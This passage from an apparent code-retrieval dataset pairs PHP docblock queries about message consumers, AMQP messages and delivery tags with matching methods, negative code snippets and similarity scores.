?\n\t\t\t\t\t( isset( $var->$key ) ? $var->$key : $default ) :\n\t\t\t\t\t( isset( $var[$key] ) ? $var[$key] : $default );\n\t\t\t}", "protected function initial_set_default() {\n\t\tif ( isset( $this->field[ 'config' ][ 'default' ] ) ) {\n\t\t\t$this->default = $this->field[ 'config' ][ 'default' ];\n\t\t} else {\n\t\t\t$this->default = '';\n\t\t}\n\t}", "public function change_variable( $var ) {\n $var = rand_str();\n return $var;\n }", "function trans_or_default(string $key, $default, array $replace = [], $locale = null): string\n {\n $message = trans($key, $replace, $locale);\n\n return $message === $key ? $default : $message;\n }", "static public function getUnBladedContent($var, $default = null)\n {\n if (self::testVar($var)) {\n if (is_string($var) ) {\n $tmp = unserialize((string)$var);\n return !empty($tmp) ? $tmp : $default ;\n } elseif ($var instanceof Htmlable) {\n $tmp = unserialize($var->toHtml());\n return !empty($tmp) ? $tmp : $default ;\n } else {\n return $var;\n }\n } \n return $default;\n }", "public function pi_setPiVarDefaults() {}", "function getifSet(&$value, $default = null)\n{\n //if it is set return the value, or else, return the default value\n return isset($value) ? $value : $default;\n}", "function str_placeholder($replace, $string)\n {\n return str_replace(\n array_keys($replace),\n array_values($replace),\n $string\n );\n }", "function acf_with_default($value, $default_value)\n{\n}", "function IfNotSetNull(&$variable)\n{\n\tif(!isset($variable)) {\n\t\t$variable = NULL;\n\t}\n}", "function xkit_the_sub_field_theme( $field_name, $default = '', $format_value = true ) {\n\t$value = xkit_get_sub_field_theme( $field_name, $default = '', $format_value );\n\n\tif( is_array( $value ) ) {\n\t\t$value = implode( ', ', $value );\n\t}\n\n\tif( xkit_value_exists( $value ) ){\n\t\tprint( $value );\n\t} else{\n\t\tprint( $default );\n\t}\n}", "public function unsafePost($varname, $default = false)\n\t{\n\t\tif(isset($this->postvars[$varname])) {\n\t\t\treturn $this->postvars[$varname];\n\t\t} else {\n\t\t\treturn $default;\n\t\t}\n\t}", "private function debug($var = null) {\n if( $var ) {\n echo '<pre>';\n print_r( $var );\n echo '</pre>';\n }\n }", "function xkit_the_field_theme( $selector, $default = '', $post_id = false, $format_value = true ){\n\t$value = xkit_get_field_theme( $selector, $default = '', $post_id, $format_value );\n\n\tif( is_array( $value ) ) {\n\t\t$value = @implode( ', ', $value );\n\t}\n\n\tif( xkit_value_exists( $value ) ){\n\t\tprint( $value );\n\t} else{\n\t\tprint( $default );\n\t}\n}", "public function get($query_var, $default_value = '')\n {\n }", "Function getTitle() {\n\n global $pageTitle;\n\n if (isset($pageTitle)) {\n\n echo $pageTitle;\n\n } else {\n\n echo 'Default';\n }\n}", "private function defaults_text($defaultVal)\r\n\t{\r\n\t\treturn $defaultVal;\r\n\t}", "public function getDefault(): ?string;", "function getTitle() {\n \n global $pageTitle;\n if(isset($pageTitle)){\n echo $pageTitle;\n } else {\n echo 'Default';\n }\n}", "function get_setting($key, $default = null) {\r\n $settings = get_site_option( 'psts_settings' );\r\n $setting = isset($settings[$key]) ? $settings[$key] : $default;\r\n\t\treturn apply_filters( \"psts_setting_$key\", $setting, $default );\r\n\t}", "function grab_array_var($arr,$varname,$default=\"\"){\n\tglobal $request;\n\t\n\t$v=$default;\n\tif(is_array($arr)){\n\t\tif(array_key_exists($varname,$arr))\n\t\t\t$v=$arr[$varname];\n\t\t}\n\treturn $v;\n\t}", "function get_var($varname, $method=\"\", $default_value=\"\")\n{\n\tglobal $_POST;\n\tglobal $_GET;\n\n\tif( isset($_GET[$varname]) && ((strcasecmp($method, \"get\") == 0 || $method == null)) )\n\t{\n\t\treturn $_GET[$varname];\n\t}\n\telse if(isset($_POST[$varname]))\n\t{\n\t\treturn $_POST[$varname];\n\t}\n\telse return $default_value;\n}" ]
[ "0.7424589", "0.6336292", "0.62782943", "0.62421465", "0.62348783", "0.620281", "0.61739886", "0.61714506", "0.6064347", "0.59897095", "0.59173787", "0.5910642", "0.589474", "0.587599", "0.5826032", "0.58189386", "0.5809796", "0.58002424", "0.57922196", "0.57892257", "0.57592684", "0.57132506", "0.5712871", "0.57031864", "0.57017463", "0.5683602", "0.56739616", "0.56646967", "0.56466615", "0.5607291", "0.5587991", "0.55740416", "0.55552995", "0.55548286", "0.5539725", "0.55333", "0.5532661", "0.5505865", "0.5501188", "0.5475145", "0.5464304", "0.54282665", "0.5426965", "0.5425578", "0.54071623", "0.53952926", "0.5392654", "0.5336188", "0.53307784", "0.5326853", "0.5323152", "0.53175825", "0.53122294", "0.5301563", "0.52970177", "0.5281315", "0.5278006", "0.52766925", "0.52135575", "0.51978326", "0.5192657", "0.51858085", "0.5181311", "0.5180979", "0.5177321", "0.5170453", "0.5166492", "0.5145665", "0.51386106", "0.5138497", "0.5135003", "0.5134578", "0.5133393", "0.51265854", "0.51243687", "0.5123032", "0.5119848", "0.5115266", "0.5110258", "0.5108577", "0.5103944", "0.5093816", "0.5093545", "0.50733596", "0.5073027", "0.507222", "0.5068797", "0.50673807", "0.50646734", "0.5056675", "0.50554895", "0.50454324", "0.5027631", "0.5027253", "0.5025071", "0.50214463", "0.5017214", "0.5015272", "0.50129294", "0.50100005" ]
0.6713575
1
Get the consumer that the message was delivered to.
public function consumer() { return $this->consumer; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getConsumer(): Consumer\n {\n return $this->consumer;\n }", "public function getConsumerMessage()\n {\n return $this->singleValue('//i:consumerMessage');\n }", "public function getConsumerName()\n {\n return $this->queueName;\n }", "public function getConsumerTag()\n {\n return $this->consumerTag;\n }", "public function getConsumerKey() {\n\t\treturn $this->selectedEndpoint['consumer_key'];\n\t}", "public function consumer ()\n {\n return new Consumer($this->url, $this->port);\n }", "protected function getConsumerKey()\n {\n\treturn $this->consumerKey;\n }", "public function getDeliveryChannel() {\n return $this->params[\"original\"][\"delivery_channel\"];\n }", "public function getProducer() \r\n { \r\n return $this->_producer; \r\n }", "protected function getProvider()\r\n {\r\n return $this->container->get('fos_message.provider');\r\n }", "public function getReceiver() {\n return $this->_receiver;\n }", "public function getReceiver()\n {\n return $this->receiver;\n }", "public function getReceiver()\n {\n return $this->receiver;\n }", "public function getDelivery()\n {\n return $this->delivery;\n }", "public function getDistributionChannel()\n {\n return $this->distributionChannel instanceof ChannelReferenceBuilder ? $this->distributionChannel->build() : $this->distributionChannel;\n }", "private static function getChannel(){\n\t\t\tif(!self::$_activeChannel){\n\t\t\t\tif(self::tryConnection(1)){\n\t\t\t\t\tlist(self::$_activeQueue, ,) = self::$_activeChannel->queue_declare(\"\",false,false,true,false);\n\t\t\t\t}\n\n\t\t\t\tself::$_callbacks = array();\n\t\t\t}\n\n\t\t\treturn self::$_activeChannel;\n\t\t}", "public function getChannel()\n {\n return $this->get(self::_CHANNEL);\n }", "public function getChannel()\n {\n return $this->get(self::_CHANNEL);\n }", "public function getChannel()\n {\n return $this->get(self::_CHANNEL);\n }", "public function getChannel()\n {\n return $this->get(self::_CHANNEL);\n }", "public function getConsumerParam($name) {\n\t\t$consumerParams = $this->getConsumerParams();\n\t\tif (isset($consumerParams[$name])) {\n\t\t\treturn $consumerParams[$name];\n\t\t} else {\n\t\t\treturn NULL;\n\t\t}\n\t}", "public function get_consumer_key()\n\t{\n\t\treturn $this->tokens['consumer_key'];\n\t}", "public function receiveNoWait()\n {\n if ($this->currentEnvelope) {\n throw new \\RuntimeException(\n 'AmqpQueueDriver: This driver has a message that was not acknowledged yet. A message must be processed and acknowledged before receiving new messages.'\n );\n }\n\n $this->dequeueingTimeMs = 0;\n\n $this->currentEnvelope = $this->queue->get();\n\n $msg = null;\n\n if (!$this->currentEnvelope) {\n return null;\n }\n\n $start = microtime(true);\n $deserializationContext = new DeserializationContext();\n\n try{\n /** @var QueueMessageInterface $msg */\n $msg = $this->getSerializer()->deserialize($this->currentEnvelope->getBody(), SerializableInterface::class, $this->format, $deserializationContext);\n } catch (\\Exception $exception) {\n $this->getExceptionHandler()($exception, ['headers' => $this->currentEnvelope->getHeaders(), 'body' => $this->currentEnvelope->getBody()]);\n $this->ack();\n return null;\n }\n foreach ($this->currentEnvelope->getHeaders() as $header => $value) {\n $msg->setHeader($header, $value);\n }\n\n // Calculate how long it took to deserilize the message\n $this->dequeueingTimeMs = (int) ((microtime(true) - $start) * 1000);\n\n return $msg;\n }", "public function getMessageMonitor()\n {\n return $this->messageMonitor;\n }", "public function getProducer();", "public function getSupplyChannel()\n {\n return $this->supplyChannel instanceof ChannelReferenceBuilder ? $this->supplyChannel->build() : $this->supplyChannel;\n }", "public static function consumer($queue, $group = null) {\n\t\t\n\t\tif($group === null) $group = Queue::$default;\n\n\t\tif(!isset(Queue::$consumers[$group])) {\n\n\t\t\t$config = Kohana::$config->load(\"queue.$group\");\n\t\t\t$driver = Arr::get($config, 'driver');\n\t\t\t$class = \"Queue_{$driver}_Consumer\";\n\n\t\t\tif(!class_exists($class)) throw new Queue_Exception('The requested Queue driver does not support consumer: :driver', array(':driver' => $driver));\n\t\t\tQueue::$consumers[$group] = new $class($config, $queue);\n\n\t\t}\n\n\t\treturn Queue::$consumers[$group];\n\n\t}", "protected function getQueueMonitor(): ?MonitorContract\n {\n if ( ! property_exists($this, 'job')) {\n return null;\n }\n\n if ( ! $this->job) {\n return null;\n }\n\n if ( ! $jobId = QueueMonitor::getJobId($this->job)) {\n return null;\n }\n\n $model = QueueMonitor::getModel();\n\n return $model::whereJob($jobId)\n ->orderBy('started_at', 'desc')\n ->first();\n }", "function getCollectionId()\n {\n return $this->getMessageQueueId();\n }", "public function getReceiver()\n {\n return $this->user;\n }", "public function getConsumer( $key, $user_id, $user_is_admin = false ) {\n\t\t$consumers = get_option('oauth_consumers');\n\t\tif (array_key_exists($key, $consumers)) {\n\t\t\treturn $consumers[$key];\n\t\t}\n\t\t\n\t\tthrow new OAuthException('No consumer with consumer_key \"'.$key.'\"');\n\t}", "public function receive($timeout = -1)\n {\n $startTime = time();\n\n while (true) {\n $message = null;\n\n try {\n $message = $this->consumer->receive($timeout);\n\n if (is_null($message)) {\n return null;\n }\n\n $baseEvent = $this->extractEventFromMessage($message);\n\n if (!$this->isEventAutoAck($baseEvent)) {\n $this->messagesToAck[spl_object_hash($baseEvent)] = $message;\n }\n\n return $baseEvent;\n } catch (MessagingException $e) {\n if ($e->getMessage() != 'Unable to read message') {\n throw new ReceivingFailedException('Failed to receive a message.', 0, $e);\n }\n\n $sleep = rand(1, 5);\n\n if ($timeout >= 0) { // timeout != -1\n $timeout -= time() - $startTime + $sleep;\n if ($timeout <= 0) {\n return null;\n }\n }\n\n sleep($sleep);\n } catch(\\Exception $e) {\n throw new ReceivingFailedException('Failed to receive a message.', 0, $e);\n }\n }\n }", "public function get_queue()\n\t\t{\n\t\t\treturn $this->queue;\n\t\t}", "public function getChannel()\n {\n return $this->channel instanceof ChannelResourceIdentifierBuilder ? $this->channel->build() : $this->channel;\n }", "public function lastMessage()\n {\n return $this->messages()\n ->take(1);\n }", "public function getReceiver(){\n return $this->receiver;\n }", "public function getBroker()\n\t{\n\t\treturn $this->broker;\n\t}", "public function getBroker()\n\t{\n\t\treturn $this->broker;\n\t}", "public function getChannel()\n {\n return $this->channel;\n }", "public function getChannel()\n {\n return $this->channel;\n }", "public function getListener(/* ... */)\n {\n return $this->_listener;\n }", "public function getConsumed()\n {\n return $this->consumed;\n }", "public function getConsumeItemReply()\n {\n return $this->get(self::_CONSUME_ITEM_REPLY);\n }", "public function getConsumerSecret()\n {\n if ($this->rsaPrivateKey !== null) {\n return $this->rsaPrivateKey;\n }\n return $this->consumerSecret;\n }", "public function getQueue()\n {\n return isset($this->Queue) ? $this->Queue : null;\n }", "public function get_message()\n {\n return $this->_message;\n }", "public function getConsumerStatus()\n {\n return isset($this->transaction['consumerStatus']) ? $this->transaction['consumerStatus'] : '';\n }", "public function getReceivedBy()\n {\n return $this->get(self::RECEIVEDBY);\n }", "public function exchange()\n {\n return $this->message->delivery_info['exchange'];\n }", "public function getChannel()\n {\n return $this->getData(self::CHANNEL);\n }", "public function monitor()\n {\n return new MonitorConsumer($this);\n }", "public function getQueue()\n {\n return $this->queue;\n }", "public function getChannel() {\n return $this->channel;\n }", "public function getMessage(): ReceivedMessage\n {\n return new FacebookReceivedMessage($this->request->getParameter('entry.0.messaging.0.message'));\n }", "public function getDistributionChannel()\n {\n if (is_null($this->distributionChannel)) {\n /** @psalm-var stdClass|array<string, mixed>|null $data */\n $data = $this->raw(self::FIELD_DISTRIBUTION_CHANNEL);\n if (is_null($data)) {\n return null;\n }\n\n $this->distributionChannel = ChannelKeyReferenceModel::of($data);\n }\n\n return $this->distributionChannel;\n }", "private function get_consumer(&$request) {\n $consumer_key = @$request->get_parameter(\"oauth_consumer_key\");\n if (!$consumer_key) {\n throw new OAuthException(\"Invalid consumer key\");\n }\n\n $consumer = $this->data_store->lookup_consumer($consumer_key);\n if (!$consumer) {\n throw new OAuthException(\"Invalid consumer\");\n }\n\n return $consumer;\n }", "public function getChannel()\n {\n \treturn $this->_channel;\n }", "public function current()\n {\n return $this->channels[$this->key()];\n }", "public function getChannel()\n\t{\n\t\treturn $this->channel;\n\t}", "public function getMessageProvider(): MessageFactory\n {\n return $this->messageProvider;\n }", "public function getMessageProvider()\n {\n return $this->provider;\n }", "public function grabMessageFromQueue($queue)\n {\n $message = $this->getChannel()->basic_get($queue);\n return $message;\n }", "public function consumeItemFromQueue(){\n $record = $this->storageEngine->getNextQueueItemToProcess();\n if($record){\n return $record;\n }\n return -1; //will cause the worker to sleep\n }", "public function getSubscriber()\n {\n return $this->subscriber;\n }", "public function getConsumerUnitQuantity()\n {\n return $this->consumerUnitQuantity;\n }", "public function getmessage()\n {\n return array_shift($this->storage);\n }", "public function getChannel()\n {\n if (! $this->channel) {\n $this->set();\n }\n\n return $this->channel;\n }", "public function getChannel(): ?Channel\n {\n return $this->channel;\n }", "public function getQueue() {\n return $this->_queue;\n }", "public function fetchMessage()\n {\n if ($this->socket === null) {\n $this->socket = stream_socket_server(static::buildFullAddress($this->address));\n }\n return @stream_socket_accept($this->socket);\n }", "public function getShopConsumeReply()\n {\n return $this->get(self::_SHOP_CONSUME_REPLY);\n }", "public function getQueue()\n\t{\n\t\treturn $this->queue;\n\t}", "protected function resolveQueue()\n {\n return call_user_func($this->queueResolver);\n }", "function peek() {\n return reset($this->queue);\n }", "public function getClosure()\n\t{\n\t\treturn $this->closure;\n\t}", "public function getConsumerSecret() {\n\t\treturn $this->selectedEndpoint['consumer_secret'];\n\t}", "public function getDistributionChannel()\n {\n if (is_null($this->distributionChannel)) {\n /** @psalm-var stdClass|array<string, mixed>|null $data */\n $data = $this->raw(self::FIELD_DISTRIBUTION_CHANNEL);\n if (is_null($data)) {\n return null;\n }\n\n $this->distributionChannel = ChannelResourceIdentifierModel::of($data);\n }\n\n return $this->distributionChannel;\n }", "public function getDeliveryParty()\n {\n return $this->deliveryParty;\n }", "public function channel()\n\t{\n\t\treturn $this->xml->channel;\n\t}", "public function consumer(){\n return $this->belongsTo('App\\Consumer');\n }", "public function getQueue()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('queue');\n }", "public function subscriber()\n {\n return $this->conversation->leadClient;\n }", "public function getDeliveryId()\n {\n return $this->deliveryId;\n }", "public function getDeliveryId()\n {\n return $this->deliveryId;\n }", "public function getChannel()\n {\n return $this->Channel;\n }", "public function getChannel()\n {\n return $this->Channel;\n }", "public function getMessageHandler()\n {\n return $this->messageHandler;\n }", "public function getSupplyChannel()\n {\n if (is_null($this->supplyChannel)) {\n /** @psalm-var stdClass|array<string, mixed>|null $data */\n $data = $this->raw(self::FIELD_SUPPLY_CHANNEL);\n if (is_null($data)) {\n return null;\n }\n\n $this->supplyChannel = ChannelKeyReferenceModel::of($data);\n }\n\n return $this->supplyChannel;\n }", "public function getReceived() {\n\t\treturn $this->received;\n\t}", "public function getConsumerDestinations()\n {\n return $this->consumer_destinations;\n }", "public function getReceived()\n {\n return $this->received;\n }", "public function pop($queue = null)\n {\n $this->client->setQueue(self::getQueue($queue));\n $job = $this->client->consume();\n if (!is_null($job)) {\n return $this->resolveJob($job, $queue);\n }\n }", "private function retrieveMessage() : ?string {\n $message = [];\n\n // The regex to find the head of the message wrapper (message lies between head and foot wrapper)\n $messageHeadWrapperRegex = $this->buildRegex([\n self::REGEX_CONTENT_HEAD ,\n self::REGEX_MESSAGE_WRAPPER_BODY,\n \"(\\s{2})\"\n ], \"\", \"\");\n\n // The regex to find the foot of the message wrapper (message lies between head and foot wrapper)\n $messageFootWrapperRegex = $this->buildRegex([\n self::REGEX_CONTENT_HEAD,\n self::REGEX_MESSAGE_WRAPPER_BODY\n ], \"\", \"\");\n\n // The regex for querying the message, including its queried wrapper\n $messageRegex = $this->buildRegex([\n $messageHeadWrapperRegex,\n self::REGEX_ALL,\n $messageFootWrapperRegex\n ]);\n\n // Querying the message\n preg_match($messageRegex, $this->currentEmail, $message);\n\n // If the message not found, there is most likely no message, so return null\n // Use index \"4\", because the regex group which represents the message only is at index \"4\"\n if (!isset($message[4]))\n return null;\n\n // Return the quoted-printable decoded and trimmed message\n // Use index \"4\", because the regex group which represents the message only is at index \"4\"\n $message = quoted_printable_decode($message[4]);\n return trim($message);\n }", "public function getChannel(): Channel\n {\n return $this->channel;\n }", "public function current()\n {\n // if the iterator is no longer valid, return null\n if (!$this->valid()) {\n return null;\n }\n if (!isset($this->payloads[$this->currentKey])) {\n $this->payloads[$this->currentKey] = $this->processMessage($this->messages[$this->currentKey]);\n }\n return $this->payloads[$this->currentKey];\n }", "public function getSubscribedTopic() {\n\t\treturn $this->subscribedTopic;\n\t}", "private function getDeliverySession() {\n\t\t$userId = $this->getPresenter()->getUser()->getId();\n\t\treturn $this->getPresenter()->getSession(self::DELIVERY_SESSION_NAME . $userId);\n\t}", "public function getMessageQueue()\n\t{\n\t\treturn $this->messages;\n\t}", "public function getSupplyChannel()\n {\n if (is_null($this->supplyChannel)) {\n /** @psalm-var stdClass|array<string, mixed>|null $data */\n $data = $this->raw(self::FIELD_SUPPLY_CHANNEL);\n if (is_null($data)) {\n return null;\n }\n\n $this->supplyChannel = ChannelResourceIdentifierModel::of($data);\n }\n\n return $this->supplyChannel;\n }", "public function current()\n\t{\n\t\treturn $this->_messages[$this->_position];\n\t}" ]
[ "0.7625278", "0.7360846", "0.6919312", "0.6438201", "0.60384333", "0.6028207", "0.5926553", "0.58674973", "0.58375883", "0.5822996", "0.57129055", "0.56755453", "0.56755453", "0.55689186", "0.5479594", "0.54703766", "0.5449733", "0.5449199", "0.5449199", "0.5449199", "0.5447066", "0.5387259", "0.53807765", "0.53522015", "0.534607", "0.5330325", "0.5316725", "0.53163385", "0.5307192", "0.5299276", "0.5274458", "0.52632046", "0.525968", "0.5235226", "0.52138656", "0.5199305", "0.51892734", "0.51892734", "0.5181314", "0.5181314", "0.5169813", "0.51688015", "0.51685673", "0.51611537", "0.5158729", "0.51560575", "0.5153628", "0.5136583", "0.51358557", "0.51291", "0.5122962", "0.51179856", "0.51127464", "0.51124704", "0.51055676", "0.5101146", "0.5096453", "0.509536", "0.50943315", "0.50936615", "0.50898963", "0.50831044", "0.50785637", "0.5074869", "0.5071316", "0.5064621", "0.50611496", "0.5050266", "0.50494665", "0.5049294", "0.50397354", "0.5036282", "0.5027929", "0.5023814", "0.50113916", "0.5010917", "0.49969065", "0.49961066", "0.4978434", "0.4976065", "0.49675366", "0.49371982", "0.49363744", "0.49363744", "0.49298432", "0.49298432", "0.49269465", "0.49199972", "0.4915047", "0.4912948", "0.4909172", "0.49037886", "0.48993444", "0.48979566", "0.48972955", "0.48785946", "0.48768765", "0.48760077", "0.48583743", "0.48555675" ]
0.76356465
0
Get the AMQP message.
public function message() { if (null === $this->standardMessage) { $this->standardMessage = $this->toStandardMessage( $this->message ); } return $this->standardMessage; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getMessage()\n {\n if ($this->message) {\n return $this->message;\n }\n\n return $this->newMessage();\n }", "public function get_message()\n {\n return $this->_message;\n }", "public function getMessage()\n {\n if (is_null($this->message)) {\n /** @psalm-var ?string $data */\n $data = $this->raw(self::FIELD_MESSAGE);\n if (is_null($data)) {\n return null;\n }\n $this->message = (string) $data;\n }\n\n return $this->message;\n }", "public function getMsg()\n {\n return $this->msg;\n }", "public function getMsg()\n {\n return $this->msg;\n }", "private function getMsg()\n {\n return $this->msg;\n }", "public function getMessage() {\n return $message;\n }", "public function getMessage()\n {\n return $this->_transport->getMessage();\n }", "protected function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->_message;\n }", "public function getMessage()\n {\n return $this->_message;\n }", "public function getMessage() {\n\t\treturn $this->message;\n\t}", "public function getMessage() {\n\t\treturn $this->message;\n\t}", "public function getMessage() {\n\t\treturn $this->message;\n\t}", "public function getMessage() {\n\t\treturn $this->message;\n\t}", "public function getMessage() {\n if ($this->message instanceof MessageInterface) {\n return $this->message;\n }\n return $this->mesage = new SmsMessageModel();\n }", "public function getMessage() {\n return $this->message;\n }", "public function getMessage() {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return Arr::get($this->getData(true), static::messageKey());\n }", "public function message()\r\n {\r\n return $this->message;\r\n }", "public function message()\r\n {\r\n return $this->message;\r\n }", "public function getMessage() {\n return $this->message;\n }", "public function getMessage() {\n return $this->message;\n }", "public function getMessage() {\n return $this->message;\n }", "public function getMessage() {\n return $this->message;\n }", "public function getMessage() {\n return $this->message;\n }", "public function getMsg()\n {\n return $this->Msg;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\r\n {\r\n return $this->message;\r\n }", "public function getMessage()\r\n {\r\n return $this->message;\r\n }", "public function getMessage()\r\n {\r\n return $this->message;\r\n }", "public function getMessage()\n\t{\n\t\treturn $this->message;\n\t}", "public function getMessage()\n\t{\n\t\treturn $this->message;\n\t}", "public function getMessage()\n\t{\n\t\treturn $this->message;\n\t}", "public function getMessage()\n {\n return $this->message;\n }", "public function getMessage()\n {\n return $this->message;\n }", "public function message()\n {\n return $this->msg;\n }", "public function message()\n {\n return $this->msg;\n }", "public function message()\n {\n return $this->msg;\n }", "function getMessage() {\n return $this->message;\n }", "public function getMessage () {\n\t\treturn $this->message;\n\t}", "public function getMessage() : mixed\n {\n return $this->message;\n \n }", "public function getMessage(){\n\t\treturn $this->message;\n\t}", "public function getMessage() \n\t{\n\t\treturn $this->message;\n\t}", "public function getMessage()\n {\n return $this->message;\n }", "protected function getMessage()\n {\n //return new \\Swift_Message('Test subject', 'Test body.');\n }", "public function getMessage()\n {\n return $this->_clientMessage;\n }", "abstract public function get_message();", "function getMessage(){\n\t\t\treturn $this->message;\n\t\t}", "public function get_message() { return $this->getMessage(); }", "public function getMessage()\n {\n return $this -> message;\n }", "public function message(): string\n {\n return $this->message;\n }", "public function getMessage()\n {\n if (array_key_exists(\"message\", $this->_propDict)) {\n if (is_a($this->_propDict[\"message\"], \"\\Beta\\Microsoft\\Graph\\Model\\ItemBody\") || is_null($this->_propDict[\"message\"])) {\n return $this->_propDict[\"message\"];\n } else {\n $this->_propDict[\"message\"] = new ItemBody($this->_propDict[\"message\"]);\n return $this->_propDict[\"message\"];\n }\n }\n return null;\n }", "public function get_msg() {\r\n return $this->msg;\r\n }", "public function getMessage(): string\n {\n return $this->message;\n }", "public function getMessage(): string\n {\n return $this->message;\n }", "public function getMessage(): string\n {\n return $this->message;\n }", "public function getMessage(): string\n {\n return $this->message;\n }" ]
[ "0.75859135", "0.7488332", "0.7334481", "0.70788455", "0.70788455", "0.70212245", "0.701687", "0.6986536", "0.69228786", "0.6922062", "0.6922062", "0.6908508", "0.6908508", "0.6908508", "0.6908508", "0.69006157", "0.68936336", "0.68936336", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68808883", "0.68734795", "0.6868778", "0.6868778", "0.6867345", "0.6867345", "0.6867345", "0.6867345", "0.68659365", "0.6856114", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.6845704", "0.68442535", "0.68442535", "0.68442535", "0.6833895", "0.6833895", "0.6833895", "0.6833867", "0.6833867", "0.68301195", "0.68301195", "0.68301195", "0.6828231", "0.6826559", "0.6798414", "0.6794949", "0.6790736", "0.67902756", "0.67804235", "0.6731859", "0.672128", "0.6691765", "0.6688802", "0.6678272", "0.66770595", "0.66724116", "0.66678834", "0.6660111", "0.6660111", "0.6660111", "0.6660111" ]
0.7111239
3
Get the delivery tag.
public function tag() { return $this->message->delivery_info['delivery_tag']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getDeliveryTag();", "public function getDeliveryTag()\n {\n return $this->deliveryTag;\n }", "public function getDeliveryTag() {\n return $this->delivery_tag;\n }", "public function getDelivery()\n {\n return $this->delivery;\n }", "public function getDeliveryId()\n {\n return $this->deliveryId;\n }", "public function getDeliveryId()\n {\n return $this->deliveryId;\n }", "public function getIdDelivery()\n {\n return $this->idDelivery;\n }", "public function getId()\n {\n $headers = $this->getHeaders();\n return isset($headers['X-NE-Delivery']) ? $headers['X-NE-Delivery'] : null;\n }", "public function getDeliveryNumber() {\n return $this->params[\"original\"][\"delivery_number\"];\n }", "public function getDeliverydesc()\n {\n return $this->deliverydesc;\n }", "public function getDeliveryName()\n {\n return $this->_deliveryName=='' ? $this->getBasename() : $this->_deliveryName;\n \n }", "public function getTag()\n {\n return $this->get('tag');\n }", "public function getPriceDelivery()\n {\n return $this->priceDelivery;\n }", "public function getTag(): string\n {\n return $this->tag;\n }", "public function getDeliveryParty()\n {\n return $this->deliveryParty;\n }", "public function getSpecialDeliveryId() {\n \treturn $this->_specialDeliveryId;\n }", "public function getDelivery()\n {\n $value = $this->get(self::delivery);\n return $value === null ? (double)$value : $value;\n }", "public function getDeliveryMethodId()\n\t{\n\t\t$retval = '';\n\t\tif (isset($this->data[self::KEY_DELIVERY_METHOD_ID])) {\n\t\t\t$retval = $this->data[self::KEY_DELIVERY_METHOD_ID];\n\t\t}\n\t\treturn $retval;\n\t}", "private function getTag()\n {\n return $this->tag;\n }", "public function getTag()\n\t{\n\t\treturn $this->data['tag'];\n\t}", "public function getTag()\n {\n return $this->tag;\n }", "public function getTag()\n {\n return $this->tag;\n }", "public function getTag()\n {\n return $this->tag;\n }", "public function getDeliveryOrder();", "public function getTag() {\n return $this->_tag;\n }", "public function getTag()\n {\n return $this->getAdapter()->getTag();\n }", "public function tag(): string\n {\n return $this->tag;\n }", "public function getDeliveryAddress()\n {\n return $this->deliveryAddress;\n }", "public function getDeliveryAddress()\n {\n return $this->deliveryAddress;\n }", "public function getDeliveryIncluded()\n {\n return $this->deliveryIncluded;\n }", "public function getDeliverySuggestionCode()\n {\n return $this->_deliverySuggestionCode;\n }", "public function getTag(): ?string\n {\n return $this->tag;\n }", "public function getTag()\n {\n return $this->_params['tag'];\n }", "public function tag()\r\n\t{\r\n\t\treturn $this->tag;\r\n\t}", "public function tag()\r\n\t{\r\n\t\treturn $this->tag;\r\n\t}", "public function tag()\n\t{\n\t\treturn $this->tag;\n\t}", "public function tag() { return $this->_m_tag; }", "public function tag() { return $this->_m_tag; }", "public function tag() { return $this->_m_tag; }", "public function tag() { return $this->_m_tag; }", "public function tag() { return $this->_m_tag; }", "public function getTimeDelivery()\n {\n return $this->timeDelivery;\n }", "public function getDeliverySuggestionName()\n {\n return $this->_deliverySuggestionName;\n }", "public function getDeliveryChannel() {\n return 